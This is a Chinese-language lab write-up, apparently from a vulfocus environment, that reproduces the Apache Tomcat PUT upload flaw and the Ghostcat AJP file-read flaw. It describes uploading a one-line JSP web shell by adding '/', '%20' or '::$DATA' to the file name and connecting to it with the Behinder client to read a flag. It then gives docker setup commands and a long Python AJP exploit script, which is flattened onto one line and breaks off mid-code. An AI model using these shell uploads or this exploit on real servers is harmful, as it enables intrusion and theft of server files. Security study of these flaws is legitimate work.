赞
踩
漏洞环境:线上环境 vulfocus
漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false
因为Tomcat将readonly设置为flase的时候,同时就开启了对PUT方法的支持
影响版本:Tomcat 7.0.0 - 7.0.81
漏洞原理:
org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件。
方法一:利用PUT方法上传一句话木马,给后缀后加“/”
冰蝎连接,连接成功
查看flag
方法二:
给后缀后加%20
进行绕过
方法三:
给后缀后加::$DATA
docker pull duonghuuphuc/tomcat-8.5.32
运行镜像并映射端口:
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
查看是否运行成功
docker ps
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞原理:
漏洞复现:
#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = { 'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = { } for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。